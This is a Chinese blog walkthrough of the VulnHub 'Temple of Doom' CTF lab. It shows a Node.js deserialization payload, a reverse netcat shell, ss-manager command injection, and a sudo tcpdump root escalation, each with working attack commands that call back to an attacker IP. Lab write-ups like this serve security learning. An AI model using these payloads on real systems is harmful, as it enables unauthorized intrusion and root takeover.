No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习

**

VulnHub-Temple of Doom: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
[+]由https://twitter.com/0katz创建的CTF
[+]难度:简单/中级
[+]在VirtualBox中测试
[+]注意:2种扎根方法!–来自谷歌翻译
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-21

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.56.126 (当然,第一张图就显示了IP…)
在这里插入图片描述
nmap扫出开放了22和666端口…(有Node.js)
22先放着吧,没账号密码进不去的…666是http服务,去看看…
在这里插入图片描述
正在建设一个页面…让我稍后在来…等不急了爆破它
在这里插入图片描述
竟然什么都没有…用nikto试试…
在这里插入图片描述
第一次使用nikto和dirb都扫不出一点信息…
这边我截取下他的会话cookie试试…
在这里插入图片描述
发现服务器端响应中正在发送会话cookie…
使用Burp Decoder对Cookie值进行解码…
在这里插入图片描述
第一次解码他会标记%3符号…我选择base64继续进行解码,出现了:u32t4o3tb3gg431fs34ggdgchjwnza0l=
看上面可以确定在会话cookie中传递了用户名csrftoken和expires参数…
在这里插入图片描述
再次刷新后,返回了错误的提示…
发现Web服务正在使用JSON,并且Nmap扫描中有Node.js框架,在谷歌上搜索 exploit node.js看看…
说存在反序列化漏洞利用…我这边先测试下是否存在…用反序列化函数试试…
在这里插入图片描述
在这里插入图片描述
果然有反序列化漏洞存在…参考

二、提权

参考链接后,可以学习到怎么去提权…

在这里插入图片描述
在这里插入图片描述
命令:{“username”:“ND_FUNC_function(){return require(‘child_process’).execSync(‘whoami’,(e,out,err)=>{console.log(out);}); }()"}
_ ND_FUNC _ function():在本地执行一个函数
child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
child_process.exec()方法:此方法在控制台中运行命令并缓冲输出
(上面框架的命令可以套用…遇到反序列化漏洞,上面美元符号不能打…报错…)
它指定字符串Shell执行命令(在UNIX上默认:’/ bin / sh’)
制作的Shell可以知道Linux系统上的当前用户是谁,编码进行转发…
在这里插入图片描述
当前用户为nodeadmin…
在这里插入图片描述
我们执行ls -lart查找下目录底层信息看看…
在这里插入图片描述
这边直接创建nc 对/bin/bash输入开启服务…(反向netcat shell命令)
在这里插入图片描述
在这里插入图片描述
命令:{“username”:"
$$ND_FUNC_function(){return require(‘child_process’).execSync(‘nc -e /bin/bash 192.168.56.103 6666’,(e,out,err)=>{console.log(out);}); }()”}
成功提权…
python -c ‘import pty;pty.spawn("/bin/bash")’ (进入tty shell )
在这里插入图片描述
没有权限进入fireman目录…
看看fireman是否有root权限去运行它…
在这里插入图片描述
ss-manager是作为根来运行的…ss-manager容易受到远程代码执行的影响…参考
ss-manager是Shadowsocks的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器…就是能创建新服务去利用…
在这里插入图片描述
创建服务器…
在这里插入图片描述
命令:add: {“server_port”:8003, “password”:“test”, “method”:"||nc -e /bin/sh 192.168.56.103 4444 ||"}
在这里插入图片描述
进入fireman用户…
sudo -l查看下有哪些可以提权的目录或者文件…
在这里插入图片描述
存在tcpdump,可以用于远程代码执行…参考
在这里插入图片描述
在这里插入图片描述
命令:echo “nc -e /bin/bash 192.168.56.103 1234” > dayu
命令:sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/dayu -Z root
将目录更改为tmp,使用反向netcat shell创建了一个名为dayu的文件,将该文件的文件权限更改为RWX,最后将sudo和tcp dump用于远程代码执行…
在这里插入图片描述
在这里插入图片描述
成功获取root和flag文件…介绍说有两种方法可以获取…

这边我回想了下,一路过来都是Node.js–ss-manager–tcpdump这条路过来的…
因为只开了22和666端口,目前还没想到第二种方法能渗透的…如果有大神能想到…请留言给我,感谢!!一起学习,一起加油!!!

由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了27 篇原创文章 · 获赞 4 · 访问量 4306

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104061415